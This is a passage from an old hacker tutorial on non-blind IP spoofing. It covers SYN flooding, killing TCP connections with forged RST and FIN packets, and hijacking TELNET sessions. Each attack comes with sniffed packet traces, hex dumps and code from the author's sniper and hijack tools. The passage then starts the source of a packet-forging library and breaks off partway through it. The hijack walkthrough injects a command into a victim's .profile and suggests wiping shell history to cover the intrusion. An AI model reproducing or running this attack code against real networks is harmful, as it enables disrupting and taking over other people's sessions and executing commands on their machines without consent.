number: is counted byte per byte, and gives you the number of the NEXT byte to be send, or that is send in this packet. ACK number: is the SEQ number that is expected from the other host. SEQ numbers are chosen at connection initiation. I said is was going to be short... If you didn't understand the above text, read up on it first, because you won't understand sh!t of the rest. 4. Non-blind spoofing --------------------- 4.1 Know what you are doing --------------------------- The concept of non-blind spoofing (NBS further in this doc) is pretty simple. Because packets travel within your reach, you can get the current sequence and acknowledge (SEQ/ACK further in this doc) numbers on the connection. NBS is thus a very easy and accurate method of attack, but limited to connections going over your subnet. In spoofing documentation these attacks are sometimes ommited, because they are mostly 'denial-of-service' attacks, or because people don't realise the advantage a spoof (in particulary a hijack) can have above simple password sniffing. Spoofing in generally is refered to as a verry high level of attack. This refers to blind spoofing (BlS further in this doc), because NBS is kidstuff for a competent coder. 4.2 SYN flooding ---------------- Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of 18'. I won't waste much time on it. Setup: host A &lt;-----][----------X---------------&gt;host B | host S &lt;-----------------/ Concept: Host S impersonates SYN (connection init) coming from host A, to host B. Host A should be unreachable (e.g. turned off, non existant,...). B sends out the second packet of the 3 way TCP handshake. Host B will now wait for response of host A. If host A is reachable it will tell host B (with a reset: RST) that it DID NOT inititate a connection, and thus host B received a bogus packet. (In that case host B will ingnore the SYN, and *normally* nothing will happen) So if A is unreachable, B will wait for response some time. When doing multiple attacks, the backlog of host B is going to be exceeded and host B will not except new connections (read on TCP bugs for additional features ;) for some time. 4.3 Connection Killing ---------------------- Setup: host A &lt;------X-------------------------&gt;host B | A,B have a TCP connection running host S &lt;------/ A,S on same subnet (setup is the same in both cases) Use: Clearing mudders of your net, annoying that dude typing an important paper, etc... plain fun. 4.3.1 Using reset (RST) ----------------------- Concept: TCP packets have flags which indicate the status of the packet, like RST. That is a flag used to reset a connection. To be accepted, only the sequence number has to be correct (there is no ACK in a RST packet). So we are going to wait for packets in a connection between A and B. Assume we wait for packets to A. We will calculate (from B's packets) the sequence number for A's packets (from B's ACK's), and fire a bogus RST packet from S (faking to be A) to B. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) (This is a good example of how things not always go as you want, see below for a solution) 1) connection running... we wait for a packet to get current SEQ/ACK (A-&gt;B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679 FLAGS: -AP--- Window: 3400 (data removed because irrelevant, 2 bytes data) 2) This is the ACK of it + included data (witch causes SEQ number to change, and thus messing up our scheme, because this came very fast.) (B-&gt;A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant, 2 bytes data) 3) ACK of it. (A-&gt;B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) further data (B-&gt;A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD767B ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant) 5) ACK of it (A-&gt;B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691 FLAGS: -A---- Window: 3400 6) Now we get 2 RST packets. How do you explain that? Well, the first reset packet has been buffered somewhere on our system, because the ethernet segment was busy when we wanted to send it. This is the 'unexpected thing' I discussed above, here we are lucky, the data stream cooled down so fast. When it doesn't cool down so fast, we could miss our RST (or the connection will be killed a little later then when we wanted), you'll see some idea's on how to fix that problem. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 FLAGS: ---R-- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7691 FLAGS: ---R-- (This was the packet that killed the connection) Discussion of the program: The discussion here is a bit weird , that is because 'sniper-rst.c' is not designed to be an optimal killer, merly to be an example. We have the problem of speed here. We miss some packets what causes those resends. So we would design a better 'sniper' if we do the following: - use blocking IO (not necessarilly, because the RST killer would loose some of it's beauty (looping), this is dealt with in the FIN killer example. Blocking is a little faster when a lot of packets come after each other.) - multi-packet firing... fire more packets with incremented SEQ. (this is commented in the source) - waiting for a pure ACK packet (no data), because otherwise you risk to much of getting mid transmission and not being fast enough. (disadvantage is the 'waiting period' before the connection is killed) NOTE these examples were done on non-loaded networks, with non-loaded servers, what makes it a worst case scenario for speed problems. 4.3.2 Closing a connection (FIN) -------------------------------- Concept: An other flag is FIN and says: "no more data from sender". This flag is used when closing a connection down the normal legit way. So if there was a way to make a packet that is accepted by one of the two hosts, this host would believe the 'sender' didn't have any data left. Following (real) packets would be ignored as they are considered bogus. That's it, because we can sniff the current SEQ/ACK of the connection we can pretend to be either host A or B, and provide the other host with CORRECT packetinformation, and an evil FIN flag. The beauty of it all is, that after a FIN is send the other host always replies with one if it is accepted, so we have a way to verify our killing, and can be 100% sure of success (if for some reason we missed a SEQ or ACK, we can just resend). RST killing is more popular and is prefered, but I've put this in as an example, and I like it myself. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection is running.... sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' and waits for a packet to take action (we need to get SEQ/ACK) (mind you switching host A and B would be the same, only S would be impersonating A instead of B) suddenly a packet arrives... (A-&gt;B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98B ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E &gt; 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A . ~~~~~~~~~ &gt; 2 data bytes 2) sniper detected it, and sends a bogus packet. (S as B -&gt; A) We calculate our SEQ as: ACK of (A-&gt;B) packet We calculate our ACK as: SEQ of (A-&gt;B) packet + datalength of that packet (19C6B98B + 2 = 19C6B98D) (so we tell A, we received the last packet, and will not transmit further data) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---F Window: 7C00 (data removed because irrelevant) 3) host A now says: 'okay, you end the session, so here is my last data' (A-&gt;B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) host A now has flushed its buffer and on his turn FIN's the connection. (A-&gt;B) sniper, intercepts this packet and now knows the hosts fell for the spoof and the killing was a success! (host A will no longer accept any data) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---F Window: 3400 (data removed because irrelevant) 5) We impersonated B, making A believe we had no further data. But B doesn't know that and continues to send packets. (B-&gt;A) host A has that connection closed, and thus thinks the real packets of B are spoofed (or at least bogus)! So host A sends some reset packets (RST). TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---- Window: 3750 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D FLAGS: ---R-- (data removed because irrelevant) 6) This goes on for a couple of packets. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} We use wait_packet on a non blocking socket. This way we can enable a 10 seconds timeout. This functions returns when the correct packet has been delivered (or timeout). 2) sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq,sp_ack,ACK|FIN); We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we don't send any data with it, our buffer is set to NULL and datalength to 0. NOTE together with FIN, you need to enable ACK. 3) N/A 4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat&gt;=0) {printf("Killed the connection...\n"); exit(0);} We wait for a FIN packet (note the FIN in wait_packet). We use a 5 sec. timeout, if the function returns and stat&gt;=0 (-1 on timeout), we know our attempt was successfull. 5) N/A 6) N/A NOTE We can have the same problem here as with the RST killer. But didn't have it here, because the packet we responded upon was the end of a data stream (in fact it was an echo from a shell command) 4.3.3 Improving --------------- Except from multipacket firing, it is advised to launch 2 attacks (one in both ways). This illiminates one side oriented connections to be handled optimally. I think of things like downloading data, which is a one way data-flow, it is much easier sending a RST from the (spoofed) receiver to the sender, then the other way around. Those 2 attacks could both impersonate host A and B, and thus giving is 4 times more chance of a succesfull kill. I'll leave further experimenting up to you (use your imagination to handle different situations). 4.4 Connection Hijacking ------------------------ Setup: host A &lt;------X-------------------------&gt;host B | A,B have a TCP connection running (TELNET) host S &lt;------/ A,S on same subnet Concept: (suppose a TELNET from A (client) to B (server)) TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B trusts the packets from A because of its correct SEQ/ACK numbers. So if there was a way to mess up A's SEQ/ACK, B would stop believing A's real packets. We could then impersonate to be A, but using correct SEQ/ACK numbers (that is numbers correct for B). We would now have taken over the connection (host A is confused, B thinks nothings wrong (almost correct, see 'actual attack'), and S sends 'correct' data to B). This is called 'Hijacking' a connection. (generally hijacking a TELNET session, but same could be done woth FTP, RLOGIN, etc...) How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data packet into the stream at the right time (S as A-&gt;B), the server B would accept this data, and update ACK numbers, A would continue to send it's old SEQ numbers, as it's unaware of our spoofed data. Use: I allready hear you wiseguys yelling: "Hey dude, why hijack a connection if you can sniff those packets anyway??" Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... (S/Key: server challenges client, client and server calculate a code from the challenge and password, and compare that code. The password itself is never send on the cable, so you can't sniff sh!t). (OTP: server has a list of passwords, once one is used, it is destroyed, so sniffing gets you a password that has 'just' expired ;) (ALL types of identification that happen at connection (encrypted or not, trusted or not), and don't use encrypted data transfer, are vulnerable to 'hijacking'.) An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) (suppose a TELNET from A (client) to B (server)) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection running... we look with sniffit, and see he's busy in a shell, we start 'hijack' on host S as 'hijack 166.66.66.1 2035 111.11.11.11' a packet containing from (A-&gt;B) is detected... hijack takes action... (A-&gt;B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EA ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l ~~~~ 2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!) (you gotta know what you are doing) (B-&gt;A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F6 ACK (hex): 5C8223EB FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB . 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l ~~~~ 3) A simple ACK from host A to B responding to that echo. Because we know this can come, and we know a simple ACK doesn't contain data, we don't need this for SEQ/ACK calculation. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -A---- Window: 7C00 (data removed because irrelevant) 4) Now we impersonate further data (following packet 1). (S as A -&gt; B) We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B, because we have to be as fast as possible, and packet 2 could be slow. We send some backspaces and some enters. To clean up the command line. We will probably still get some error message back from the shell. But we handle that too! (see sourcecode) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 0A . 0A . 5) This is the echo of our spoofed data. Look at ACK. (B-&gt;A) 5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a success) NOTE that at this point the connection is ours, and A's SEQ/ACK numbers are completely f#cked up according to B. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F7 ACK (hex): 5C8223F5 FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 3C &lt; B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 . 50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A . 6) Hijack will now try to get on track of SEQ/ACK numbers again, to send the data we want to be executed. NOTE each time a packet 'out of numbering' arrives the host should answer with correct SEQ/ACK, this provides us with the certainty that a lot of packets are going to be send with correct (and not changing) SEQ/ACK nrs. (this is where the mechanism of getting our numbers back straight is based upon) NOTE it's at this point the real TELNET client's session hangs, most people ignore this and re-login after a few secs, accepting the accident as Murphy's law. (Well it *can* happen without any spoofing involved) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) 7) We are back on track (or at least hijack is, because this is going very fast). And we fire off our faked bash command. echo "echo HACKED" &gt;&gt;$HOME/.profile&lt;ENTER&gt;

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223F5 ACK (hex): C34A680B
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c
68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E &gt; 3E &gt; 24 $48 H 4F O 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 . 8) now we wait for this data to be confirmed. ACK = 5C8223F5 + 025 (=37 bytes) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C82241A FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040 (data removed because irrelevant) 9) The connection runs on. Now you can execute more commands (just stay on track of SEQ/ACK), and even finnish the connection (with the same mechanism of sniper, or with sniper itself... here FIN is recommended). NOTE: here it is important to be in a shell. But if you have been watching someone, and you notice he's always directly going to 'pine' and you can't get inbetween on time. NO PROBS.... just make a cleanup string that cleans up 'pine' and puts you back in the shell. (some control chars, hotkeys, whatever....) NOTE: if you clean up the .sh_history of .bash_history (whatever) this attack is one of the nicest there is. Another advantage above sniffing. NOTE: Noone says you have to make a .rhosts file (rlogin and family might be disabled), you can change permissions, put stuff SUID, put it public, install stuff, mail, etc.. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); Waiting for actual data (PSH is always used for packets containing data in interactive services like TELNET) 2) N/A 3) N/A 4) sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER, 23,sp_seq,sp_ack,ACK|PSH); We recalculate the sequence number (using SEQ and datalength of packet 1) an we send a spoofed packet with ACK and PSH flag, containing the cleanup data in to_data. 5) while(count&lt;5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; We wait for a confirmation that our spoofed sequence is accepted. We expect a packet with an ACK set (PSH or not). It should come within 5 packets, we use this limit, because we should be able to handle some previous ACK packets! NOTE we don't check SEQ nrs, because we have no clue of what they are going to be (data might have been send our way, or not). 6) while(count&lt;10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; To get back on track, we try to receive 2 ACK packets without data with the same SEQ/ACK. We know enough packets will be send as a response to incorrect packets from the confused host A. This is how we get back on track. NOTE In a case where A completely gave up, simple spoof a packet with incorrect SEQ/ACK to get the correct numbers back. 7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); Pretty clear.... 8) while(count&lt;5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; and again waiting for confirmation. NOTE after the above attack, hijack had produced the following output: Starting Hijacking demo - Brecht Claerhout 1996 ----------------------------------------------- Takeover phase 1: Stealing connection. Sending Spoofed clean-up data... Waiting for spoof to be confirmed... Phase 1 ended. Takeover phase 2: Getting on track with SEQ/ACK's again Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex) Phase 2 ended. Takeover phase 3: Sending MY data. Sending evil data. Waiting for evil data to be confirmed... Phase 3 ended. 4.5 Other --------- This list is far from complete, I'm sure you can think of other nice things to do with this information, think, experiment and code! 5. The source code ------------------ ---=[ spoofit.h ]=------------------------------------------------------------ /**************************************************************************/ /* Spoofit.h - Include file for easy creating of spoofed TCP packets */ /* Requires LINUX 1.3.x (or later) Kernel */ /* (illustration for 'A short overview of IP spoofing') */ /* V.1 - Copyright 1996 - Brecht Claerhout */ /* */ /* Purpose - Providing skilled people with a easy to use spoofing source */ /* I used it to be able to write my tools fast and short. */ /* Mind you this is only illustrative and can be easily */ /* optimised. */ /* */ /* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t &gt;/dev/null */ /* */ /* Disclaimer - This file is for educational purposes only. I am in */ /* NO way responsible for what you do with this file, */ /* or any damage you or this file causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* If you know a little about your OS, shouldn't be to hard */ /* to port. */ /* */ /* Important note - You might have noticed I use non standard packet */ /* header struct's. How come?? Because I started like */ /* that on Sniffit because I wanted to do the */ /* bittransforms myself. */ /* Well I got so damned used to them, I keep using them, */ /* they are not very different, and not hard to use, so */ /* you'll easily use my struct's without any problem, */ /* this code and the examples show how to use them. */ /* my apologies for this inconvenience. */ /* */ /* None of this code can be used in commercial software. You are free to */ /* use it in any other non-commercial software (modified or not) as long */ /* as you give me the credits for it. You can spread this include file, */ /* but keep it unmodified. */ /* */ /**************************************************************************/ /* */ /* Easiest way to understand this library is to look at the use of it, in */ /* the example progs. */ /* */ /**** Sending packets *****************************************************/ /* */ /* int open_sending (void) */ /* Returns a filedescriptor to the sending socket. */ /* close it with close (int filedesc) */ /* */ /* void transmit_TCP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest,unsigned short sp_dest_port, */ /* unsigned long sp_seq, unsigned long sp_ack, */ /* unsigned short sp_flags) */ /* fire data away in a TCP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options (you should do the padding) */ /* TCP options (you should do the padding) */ /* data to be transmitted */ /* (NULL is nothing) */ /* note that all is optional, and IP en TCP options are*/ /* not often used. */ /* All data is put after eachother in one buffer. */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_tcpoptlen : length of TCP options (in bytes) */ /* sp_datalen : amount of data to be transmitted (bytes) */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* sp_seq : sequence number of packet */ /* sp_ack : ACK of packet */ /* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */ /* */ /* void transmit_UDP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest, unsigned short sp_dest_port) */ /* fire data away in an UDP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options */ /* data to be transmitted */ /* (NULL if none) */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_datalen : amount of data to be transmitted */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* */ /**** Receiving packets ***************************************************/ /* */ /* int open_receiving (char *rc_device, char mode) */ /* Returns fdesc to a receiving socket */ /* (if mode: IO_HANDLE don't call this twice, global var */ /* rc_fd_abc123 is initialised) */ /* rc_device: the device to use e.g. "eth0", "ppp0" */ /* be sure to change DEV_PREFIX accordingly! */ /* DEV_PREFIX is the length in bytes of the header that */ /* comes with a SOCKET_PACKET due to the network device */ /* mode: 0: normal mode, blocking, (read will wait till packet */ /* comes, mind you, we are in PROMISC mode) */ /* IO_NONBLOCK: non-blocking mode (read will not wait till */ /* usefull for active polling) */ /* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/ /* (IO_HANDLE is not recommended to use, as it should be */ /* modified according to own use, and it works bad on heavy */ /* traffic continuous monitoring. I needed it once, but left it */ /* in to make you able to have a look at Signal handled IO, */ /* personally I would have removed it, but some thought it */ /* doesn't do any harm anyway, so why remove... ) */ /* (I'm not giving any more info on IO_HANDLE as it is not */ /* needed for the example programs, and interested people can */ /* easilythey figure the code out theirselves.) */ /* (Besides IO_HANDLE can only be called ONCE in a program, */ /* other modes multiple times) */ /* */ /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */ /* unsigned char *proto) */ /* This waits for a packet (mode default) and puts it in buffer or */ /* returns whether there is a pack or not (IO_NONBLOCK). */ /* It returns the packet length if there is one available, else 0 */ /* */ /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */ /* char *wp_source, unsigned short wp_source_port, */ /* char *wp_dest, unsigned short wp_dest_port, */ /* int wp_flags, int wait_time); */ /* wp_fd: a receiving socket (default or IO_NONBLOCK) */ /* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */ /* ACK, flags, datalen of that packet. For further packet */ /* handling see the examples. */ /* struct sp_wait_packet { */ /* unsigned long seq,ack; */ /* unsigned short flags; */ /* int datalen; */ /* }; */ /* wp_source, wp_source_port : sender of packet */ /* wp_dest, wp_dest_port : receiver of packet */ /* wp_flags: flags that should be present in packet.. (mind you there */ /* could be more present, so check on return) */ /* note: if you don't care about flag, use 0 */ /* wait_time: if not zero, this function will return -1 if no correct */ /* packet has arrived within wait_time secs. */ /* (only works on IO_NONBLOCK socket) */ /* */ /* void set_filter (char *f_source, unsigned short f_source_port, */ /* char *f_dest, unsigned short f_dest_port) */ /* (for use with IO_HANDLE) */ /* Start the program to watch all trafic from source/port to */ /* dest/port. This enables the updating of global data. Can */ /* be called multiple times. */ /* */ /* void close_receiving (void) */ /* When opened a IO_HANDLE mode receiving socket close it with */ /* this. */ /* */ /**** Global DATA (IO_HANDLE mode) ****************************************/ /* */ /* When accessing global data, copy the values to local vars and then use */ /* them. Reduce access time to a minimum. */ /* Mind you use of this is very limited, if you are a novice on IO, just */ /* ignore it, the other functions are good enough!). If not, rewrite the */ /* handler for your own use... */ /* */ /* sig_atomic_t SP_DATA_BUSY */ /* Put this on NON-ZERO when accesing global data. Incoming */ /* packets will be ignored then, data can not be overwritten. */ /* */ /* unsigned long int CUR_SEQ, CUR_ACK; */ /* Last recorded SEQ and ACK number of the filtered "stream". */ /* Before accessing this data set SP_DATA_BUSY non-zero, */ /* afterward set it back to zero. */ /* */ /* unsigned long int CUR_COUNT; */ /* increased everytime other data is updated */ /* */ /* unsigned int CUR_DATALEN; */ /* Length of date in last TCP packet */ /* */ /**************************************************************************/ #include "sys/socket.h" /* includes, what would we do without them */ #include "netdb.h" #include "stdlib.h" #include "unistd.h" #include "stdio.h" #include "errno.h" #include "netinet/in.h" #include "netinet/ip.h" #include "linux/if.h" #include "sys/ioctl.h" #include "sys/types.h" #include "signal.h" #include "fcntl.h" #undef DEBUG #define IP_VERSION 4 /* keep y'r hands off... */ #define MTU 1500 #define IP_HEAD_BASE 20 /* using fixed lengths to send */ #define TCP_HEAD_BASE 20 /* no options etc... */ #define UDP_HEAD_BASE 8 /* Always fixed */ #define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; /**** IO_HANDLE ************************************************************/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; /***************************************************************************/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; /* Code from Sniffit - BTW my own program.... no copyright violation here */ #define URG 32 /* TCP flags */ #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header /* The IPheader (without options) */ { unsigned char verlen, type; unsigned short length, ID, flag_offset; unsigned char TTL, protocol; unsigned short checksum; unsigned long int source, destination; }; struct TCP_header /* The TCP header (without options) */ { unsigned short source, destination; unsigned long int seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent; }; struct UDP_header /* The UDP header */ { unsigned short source, destination; unsigned short length, checksum; }; struct pseudo_IP_header /* The pseudo IP header (checksum calc) */ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; /* data structure for argument passing */ struct sp_data_exchange { int fd; /* Sh!t from transmit_TCP */ char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; /* work buffer */ int IP_optlen; /* IP options length in bytes */ int TCP_optlen; /* 